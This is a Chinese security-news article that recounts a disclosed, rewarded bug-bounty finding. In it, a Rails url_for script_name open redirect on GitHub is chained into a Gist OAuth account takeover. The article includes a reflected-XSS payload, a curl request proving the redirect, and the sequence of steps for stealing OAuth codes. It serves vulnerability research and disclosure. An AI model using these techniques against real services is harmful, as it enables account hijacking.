freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

挖洞经验 | 利用开放重定向漏洞劫持GitHub Gist账户
2020-10-20 16:58:45

近期,我针对GitHub做了一些安全测试,特别对其不同的CSRF token进行了绕过测试,在此过程中,我顺带研究了urls生成的各种方法函数,希望从中发现用来创建token的相关方法,最后发现了其中的一个开放重定向漏洞,利用该漏洞可以成功劫持GitHub Gist账户。漏洞收获了$10,000的奖励。

漏洞发现

在我测试的urls生成方法中,有一个名为url_for的方法,它通常被用来生成一些与控制器(controller)相关的链接。虽然从该方法中我没找到任何可绕过漏洞,但却发现了利用用户可控哈希(controllable hash)进行url_for方法调用的线索。一般来说,url_for方法调用需要把添加进额外参数的用户哈希附加到url后,作为一个查询字符串进行查询,但我通过阅读github说明文档发现,在该方法调用实现过程中,存在一些可控的选项参数:

:only_path - 如果为真true,即返回相应的URL,默认为假false;
:protocol - 即希望连接的协议方式,默认为'http';
:host - 指定连接的特定主机,如果:only_path为false,该选项必须明确提供或显式提示,或通过default_url_options给出信息;
:subdomain - 指定连接的特定子域名,使用tld_length从host主机信息中分离出子域名。如果该项为false,则从连接的主机信息中删除所有子域名信息;
:domain - 指定连接的特定域名,使用tld_length从host主机信息中分离域名信息;
:tld_length - 组成顶级域名TLD id的标签数量,当:subdomain 或 :domain提供时有用,默认为ActionDispatch::Http::URL.tld_length,而该项值又默认为1;
:port - 指定可选的连接端口;
:anchor - 附加在路径后的属性anchor名称;
:params - 附加在路径后的请求参数;
:trailing_slash - 如果为true,则在末尾添加'/',如/archive/2009/;
:script_name - 相对于网站根目录的应用程序路径,如果有该选项,则附上应用程序路径。

由于此前我在其它一些应用中见过:protocol、:host选项,以及blacklisted/removed和 :only_path设置为true的实例,但从没见过:script_name选项的使用。貌似:script_name用在path_for方法中居多,且一般被放在路径path开头,如下path_for方法:

def path_for(options)
    path = options[:script_name].to_s.chomp("/")
    path << options[:path] if options.key?(:path)

    add_trailing_slash(path) if options[:trailing_slash]
    add_params(path, options[:params]) if options.key?(:params)
    add_anchor(path, options[:anchor]) if options.key?(:anchor)

    path
end

GitHub中有多个地方用类似以下的代码来创建相应链接:

<a class="link" href="<%= url_for(request.query_parameters.merge(only_path: true)) %>">
    Click me
</a>

也就是说,如果构造形如?script_name=javascript:alert(1)// 的请求字符串,将会生成如以html文件代码:

<a class="link" href="javascript:alert(1)//user/repo/...">
    Click me
</a>

可以看出,如果点击'Click me',将会触发一个反射型XSS,虽然可能会被CSP策略阻拦,但也算是一个有意思的漏洞。

另外我还发现了一个用可控参数调用url_for方法的地方,这一次它会形成一个重定向跳转。该处在应用程序控制器中的源码如下:

before_action :check_source

  def check_source
    source = params["source"]
    return redirect_to(check_source_redirect_url) if source == "message"
  end

  def check_source_redirect_url
    query = Addressable::URI.parse(request.env["REQUEST_URI"]).query_values || {}
    filtered_params = query.except("source", "token").merge(only_path: true)
    url_for(filtered_params)
  end

由于其中使用了only_path: true,它通常只允许现有主机相关的URL,并且只保留查询参数,但使用script_name的技巧却会引发一些有意思结果。script_name选项不需要以斜线开头,且如果用到了redirect_to的话,script_name中的相关信息将会附加到host之后。最终的请求构造如下:

curl -i 'http://local.dev?source=message&script_name=ggg'
HTTP/1.1 302 Found
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
Location: http://local.devggg/welcome/index
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Request-Id: 7c8eedfa-f552-4d5a-bbcd-295f4e7fd9c0
X-Runtime: 0.002744
Transfer-Encoding: chunked

<html><body>You are being <a href="http://local.devggg/welcome/index">redirected</a>.</body></html>

由于最后的域名是可控的,所以如果script_name中用到了.attacker.domain,那将会发生到.attacker.domain的跳转,之后,我就直接把该问题以开放重定向漏洞上报了。

漏洞利用

第二天,我和朋友讨论过后,他建议我可以把开放重定向用到OAuth tokens上试试,看看会否产生影响。一番分析之后,我意识到这个开放重定向漏洞威力还是大的,它会影响几乎所有的Github控制器路径。

GitHub内置了一些集成的OAuth应用服务,其中就包含了Gist,GitHub Gist和GitHub共享同一个rails应用服务,只是暴露的主机名和路径不同而已。当登录Gist时,在进行OAuth机制的同时会发生以下一大堆的跳转:

1、https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https://gist.github.com/auth/github/callback
2、https://gist.github.com/auth/github/callback?browser_session_id=XXX&code=YYY
3、https://gist.github.com/auth/github
4、https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback&response_type=code&state=ZZZ
5、https://gist.github.com/auth/github/callback?browser_session_id=XXX&code=YYY&state=ZZZ
6、https://gist.github.com/

攻击者要成功登录Gist服务,只需要上述过程中的browser_session_id和code参数,由于client_id是公开的,因为这里只有CSRF防护,所以攻击者端在请求时即可生成state参数。

刚开始到redirect_uri 的跳转,可包含code和browser_session_id参数,所以我尝试在其中添加了形如script_name=.wbowling.info域名值,一试竟然有效了,可以成功携带相关请求参数跳转到.wbowling.info。

之后,我通过功能路径https://gist.github.com/auth/github/callback获取到了有效的state参数,然后,再综合前面的browser_session_id和code参数,成功登录了Gist服务,实现了账户劫持攻击。

由于GitHub 和 Gist使用的会话token不同,因此利用该漏洞不能对受害者的github.com服务造成影响,仅会对Gist服务形成访问控制威胁。

漏洞报送和处理进程

2020.6.26 00:33:38 AEST - 以开放重定向漏洞上报
2020.6.26 12:57:38 AEST - 继续测试发现Gist账户劫持漏洞并上报
2020.6.26 23:33:30 AEST - 漏洞分类
2020.6.29  - 告知漏洞仅影响Gist服务,不涉及GitHub Enterprise产品
2020.10.15 05:45:45 AEDT  Github官方奖励$10,000

参考来源:devcraft,编译整理:clouds,转载请注明来自Freebuf.com


# 开放重定向漏洞 # 劫持GitHub Gist账户
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录